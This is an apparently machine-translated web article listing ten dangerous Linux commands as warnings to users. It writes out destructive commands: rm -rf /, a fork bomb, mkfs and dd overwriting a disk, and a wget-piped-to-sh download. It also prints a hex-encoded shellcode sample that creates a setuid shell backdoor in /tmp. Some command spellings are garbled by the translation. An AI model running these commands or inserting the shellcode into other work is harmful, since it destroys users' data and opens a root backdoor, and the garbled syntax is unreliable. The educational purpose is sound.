10 commands that Linux must not perform

Source: Internet
Author: User
Tags parent directory

1. RM-RF command

The rm-rf command is one of the quickest ways to delete a folder and its contents. Just the slightest mistake or ignorance can lead to an unrecoverable system collapsing. The following are options for some RM commands .

    • The RM command is usually used to delete files under Linux.
    • The rm-r command recursively deletes folders, even empty folders. I think this should be wrong, from common sense, it should be "even a non-empty folder"
    • The rm-f command removes the ' read-only file ' directly without asking. Delete a file under Linux does not care whether the file is read-only, but whether the parent directory has write permissions. Therefore, the-f parameter simply means that you do not have to delete the confirmation, but delete it silently. In addition, the original RM command is not a delete prompt, but the general distribution will be the RM through the alias of the way to increase the-I parameter to require deletion of confirmation, and-f suppresses the hint. )
    • RM-RF/ : Force Delete all the stuff under the root directory. (That is, after the deletion, there is nothing ...) )
    • RM-RF *: Forces all files in the current directory to be deleted.
    • RM-RF. : Forces the current folder and its subfolders to be deleted.

From now on, be careful when you want to execute the rm-rf command. We can create an rm-i alias for the 'RM' command on the ". BASHRC" file to prevent an incident when deleting a file with the 'rm' command, which will ask you to confirm each deletion request. Most distributions have already done this, and if not, please do so and be sure to consider what you are doing before using the-f parameter! The translator himself has a lesson in blood and tears. )

2.:() {: |:&};: Command

This is an example of a fork bomb . The operation is done by defining a function called ': ', which calls itself two times, one time in the foreground and another run in the background. It will execute repeatedly until the system crashes.

:() {: |:&};:

Oh? Are you sure you want to try? Never experiment on a company's official server.

3. Commands >/DEV/SDA

The above command writes the output of a ' command ' to the block device /DEV/SDA . This replaces all blocks of data in the block device with the original data written by the command, resulting in data loss for the entire block device.

4. MV Folder/dev/null

This command will move a ' folder ' to /dev/null. In Linux, the /dev/null or null device is a special file, and all data written to it is purged and then returned to the write operation successfully. This is a black hole. Of course, to be sure, by moving a folder to a black hole does not prevent the redemption of the data recovery software, so real total destruction needs to be done using proprietary software or techniques-I know you must have something to erase. )

# mv/home/user/*/dev/null

The above command will move all the contents of the User directory to /dev/null, which means that everything is ' involved ' in the black hole (null) .

5. wget http://malicious_source-o-| Sh

The above command downloads a script and executes from a malicious source (maybe a). The wget command will download the script, and SH will (unconditionally) execute the downloaded script.

Note : You should always pay attention to the source of your download package or script. You can only download scripts/programs from trusted sources using those. So, do you really know what you're doing? When it comes to this need, it's my practice to wget down first, and then I go and read what's written in it, and then consider whether to do it. )

6. Mkfs.ext3/dev/sda

The above command will format the block device 'SDA', and you undoubtedly know that your block device ( hard drive ) will be formatted and brand new after executing the above command! Without any data, direct your system to a non-recoverable stage. Generally, a device such as/DEV/SDA is not used directly, unless it is used as a raw device, and it is generally necessary to divide SDA into partitions such as SDA1, Sda2, and so on. Of course, whether you're using SDA or SDA1, it's devastating to mkfs a block device or partition, and the data will evaporate. )

7. > File

The above commands are often used to clear the contents of a file (usually also for recording command output.) However, before executing, make sure the output file is empty or not, otherwise the original file can really not recover-even the data recovery software may not be able to help you. In addition, I think you may really want to use ">>", that is, add the new output to the file, instead of refreshing the file. )。 If you enter an error or an ignorant input like "> xt.conf" on the above command, the configuration file or any other system configuration file will be overwritten.

8. ^foo^bar

This command was described in our 10 little-known Linux commands-Part 3-to edit previously run commands without having to re-play the entire command. But when using the foobar command If you do not thoroughly check the risk of altering the original command, this can lead to real trouble. In fact, this little trick is the translator's belief that a few prehistoric times left the useless and harmful "hack" skills. )

9. DD If=/dev/random OF=/DEV/SDA

The above command will erase the data by writing a random junk file to the block device SDA . Of course! Your system may be in a state of confusion and unrecoverable. Remember that the MV to the black hole does not completely delete the data? Then this command is to give you a thorough removal of the method! Of course, for the sake of insurance, you can overwrite it many times. )

10. Hide Commands

The following command is actually the first command above (RM-RF). The code here is hidden in hex , and an ignorant user may be fooled. Running the following command in the terminal may erase your root partition.

This command indicates that the usual real danger is hidden and will not be easily detected. You must always be mindful of what you are doing. Do not compile/run code from unknown sources.

Char esp[] __attribute__ ((section (". Text"))/* E.s.prelease */= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″" \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″" \x56\x04\ Xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″" \xc0\x40\xeb\xf9\ Xe8\xbd\xff\xff\xff\x2f\x62\x69″ "\x6e\x2f\x73\x68\x00\x2d\x63\x00″" Cp-p/bin/sh/tmp/.beyond; chmod 4755/tmp/.beyond; ";

Note : Do not perform any of the above commands on your or your classmate or school computer's Linux terminal or shell. If you want to test them, run them on the virtual machine. The author and Tecmint are not responsible for any disharmony or data loss due to the running of the above commands which cause your system to crash. Translator and reprint site is not responsible! )

Let's call it a day, I'll be back here soon, and bring another article you like. Please continue to follow and visit tecmintby then. If you know of any other dangerous Linux commands and would like to add them to our list, please leave a comment in our comments and don't forget your comments.

10 commands that Linux must not perform

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.